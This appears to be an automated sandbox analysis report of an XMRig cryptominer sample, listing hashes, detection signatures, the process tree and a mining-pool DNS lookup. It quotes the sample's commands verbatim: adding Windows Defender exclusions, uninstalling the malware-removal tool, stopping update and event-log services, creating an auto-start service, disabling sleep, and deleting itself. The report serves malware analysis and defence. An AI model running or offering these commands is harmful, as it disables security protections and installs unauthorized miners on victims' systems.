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Analysis
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max time kernel
41s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
22/12/2024, 05:50 UTC
Static task
static1
Behavioral task
behavioral1
Sample
85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe
Resource
win7-20240903-en
General
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Target
85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe
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Size
5.6MB
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MD5
6bb97b906229cc6468d201836c757e60
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SHA1
473144794e11eebdd2e0dd375c47079e7ebb2c0c
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SHA256
85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1
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SHA512
1c8a6079e6ecf19b04e8f178032820751e6edcb2708ce79774515e429ac41eacf77d676a0464784c9e53be87301933e04c7779064d4a50bf51e5b6f6f7a354fe
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7y:xFKoU8O5/b2XViSjX310SeyGc7u7y
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2012-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2012-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2012-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2012-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2012-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2012-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2012-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2012-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2372 powershell.exe 2896 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2952 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 2668 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2616 powercfg.exe 2736 powercfg.exe 2740 powercfg.exe 2212 powercfg.exe 2380 powercfg.exe 1688 powercfg.exe 1304 powercfg.exe 2624 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2668 set thread context of 1964 2668 lutlgidagtja.exe 86 PID 2668 set thread context of 2012 2668 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/2012-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2012-42-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2784 sc.exe 2928 sc.exe 1996 sc.exe 2996 sc.exe 1424 sc.exe 2036 sc.exe 1308 sc.exe 3044 sc.exe 624 sc.exe 2636 sc.exe 2968 sc.exe 2832 sc.exe 744 sc.exe 1908 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 009b346f3554db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 54 IoCs
pid Process 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2372 powershell.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2232 85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe 2668 lutlgidagtja.exe 2896 powershell.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2668 lutlgidagtja.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe 2012 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2372 powershell.exe Token: SeShutdownPrivilege 2616 powercfg.exe Token: SeShutdownPrivilege 2624 powercfg.exe Token: SeShutdownPrivilege 2736 powercfg.exe Token: SeShutdownPrivilege 2740 powercfg.exe Token: SeDebugPrivilege 2896 powershell.exe Token: SeShutdownPrivilege 2380 powercfg.exe Token: SeShutdownPrivilege 1688 powercfg.exe Token: SeLockMemoryPrivilege 2012 nslookup.exe Token: SeShutdownPrivilege 1304 powercfg.exe Token: SeShutdownPrivilege 2212 powercfg.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2696 wrote to memory of 2724 2696 cmd.exe 39 PID 2696 wrote to memory of 2724 2696 cmd.exe 39 PID 2696 wrote to memory of 2724 2696 cmd.exe 39 PID 2952 wrote to memory of 1612 2952 cmd.exe 64 PID 2952 wrote to memory of 1612 2952 cmd.exe 64 PID 2952 wrote to memory of 1612 2952 cmd.exe 64 PID 1736 wrote to memory of 2396 1736 cmd.exe 72 PID 1736 wrote to memory of 2396 1736 cmd.exe 72 PID 1736 wrote to memory of 2396 1736 cmd.exe 72 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 1964 2668 lutlgidagtja.exe 86 PID 2668 wrote to memory of 2012 2668 lutlgidagtja.exe 90 PID 2668 wrote to memory of 2012 2668 lutlgidagtja.exe 90 PID 2668 wrote to memory of 2012 2668 lutlgidagtja.exe 90 PID 2668 wrote to memory of 2012 2668 lutlgidagtja.exe 90 PID 2668 wrote to memory of 2012 2668 lutlgidagtja.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe"C:\Users\Admin\AppData\Local\Temp\85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2232 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2372
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2724
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2784
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3044
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2832
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:744
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2928
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2740
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2616
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2624
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:1908
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:624
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:2036
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\85d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1612
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2896
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2396
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1308
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1996
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1424
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2996
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2968
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1304
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2380
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2212
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1964
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012
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Network
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Remote address:8.8.8.8:53Requestus-zephyr.miningocean.orgIN AResponseus-zephyr.miningocean.orgIN A15.204.240.197us-zephyr.miningocean.orgIN A15.204.244.104
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD56bb97b906229cc6468d201836c757e60
SHA1473144794e11eebdd2e0dd375c47079e7ebb2c0c
SHA25685d243c292ebf254df203628c73a9a73264fd949cc28e26c0037f8cf12683ff1
SHA5121c8a6079e6ecf19b04e8f178032820751e6edcb2708ce79774515e429ac41eacf77d676a0464784c9e53be87301933e04c7779064d4a50bf51e5b6f6f7a354fe